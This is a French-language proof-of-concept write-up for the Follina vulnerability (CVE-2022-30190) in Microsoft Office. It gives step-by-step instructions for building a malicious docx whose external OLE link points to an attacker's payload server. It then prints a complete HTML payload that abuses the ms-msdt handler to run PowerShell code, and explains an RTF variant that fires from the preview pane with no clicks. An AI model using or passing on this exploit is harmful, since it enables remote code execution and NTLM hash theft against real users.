
Preuve de concept d'exploit pour CVE-2022-30190 (Follina), démontrant l'exécution de code à distance via des documents Microsoft Office spécialement conçus utilisant le gestionnaire d'URI ms-msdt.
Info : Une zero-day Microsoft Office utilisée dans des attaques pour exécuter PowerShell
Le 29 mai 2022, l'équipe Nao_Sec, une équipe indépendante de recherche en cybersécurité, a découvert un document Office malveillant partagé sur Virustotal. Ce document utilise un schéma inhabituel mais connu pour infecter ses victimes. Ce schéma n'a pas été détecté comme malveillant par certains EDR, comme Microsoft Defender for Endpoint. Cette vulnérabilité pourrait conduire à une exécution de code sans nécessiter d'interaction de l'utilisateur, car elle n'implique pas de macros, sauf si le mode Protected View est activé. Aucun numéro CVE n'a encore été attribué.
La vulnérabilité est exploitée en utilisant le schéma d'URI MSProtocol pour charger du code. Les attaquants peuvent intégrer des liens malveillants dans des documents Microsoft Office, des modèles ou des e-mails commençant par ms-msdt: qui seront chargés et exécutés ensuite sans interaction de l'utilisateur - sauf si le mode Protected View est activé. Néanmoins, convertir le document au format RTF peut également contourner la fonctionnalité Protected View.
Les fichiers docx de MS Office peuvent contenir des références externes à des objets OLE sous forme de fichiers HTML. Il existe un schéma HTML « ms-msdt: » qui invoque l'outil de diagnostic msdt, capable d'exécuter du code arbitraire (spécifié dans les paramètres).
Le résultat est un vecteur d'attaque terrifiant pour obtenir une RCE en ouvrant des fichiers docx malveillants (sans utiliser de macros).
Voici les étapes pour construire un docx de preuve de concept :
Ouvrez Word (utilisé la version 2019 Pro à jour, 16.0.10386.20017), créez un document factice, insérez un objet (OLE) (en tant qu'image Bitmap), enregistrez-le au format docx.
Modifiez word/_rels/document.xml.rels dans la structure du docx (c'est un zip ordinaire). Modifiez la balise XML <Relationship> avec l'attribut
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
et Target="embeddings/oleObject1.bin" en changeant la valeur de Target et en ajoutant l'attribut TargetMode :
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Notez la valeur Id (probablement « rId5 »).
word/document.xml. Recherchez la balise <o:OLEObject ..> (avec r:id="rId5") et changez l'attribut de Type="Embed" à Type="Link" et ajoutez l'attribut UpdateMode="OnCall".NOTE : Le docx malveillant créé est presque identique à celui de CVE-2021-44444.
http://<payload_server>/payload.html :<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Notez que :
De plus, la charge utile déclenchante peut se connecter à des emplacements distants. Bien qu'il soit peu probable qu'elle invoque un binaire non fiable, la connexion transportera toujours des hachages NTLM (ce qui signifie que les acteurs malveillants disposent désormais d'un hachage du mot de passe Windows de la victime), qui pourraient être utilisés par un adversaire pour une post-exploitation supplémentaire.
Si vous ajoutez également ces éléments sous l'élément <o:OLEObject> dans word/document.xml à l'étape 3 :
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
cela fonctionnera également en RTF (ouvrez le docx obtenu et enregistrez-le au format RTF).
Avec le RTF, il n'est pas nécessaire d'ouvrir le fichier dans Word, il suffit de parcourir le fichier et de l'examiner dans un volet d'aperçu. Le volet d'aperçu déclenche la charge utile HTML externe et la RCE est là, sans aucun clic.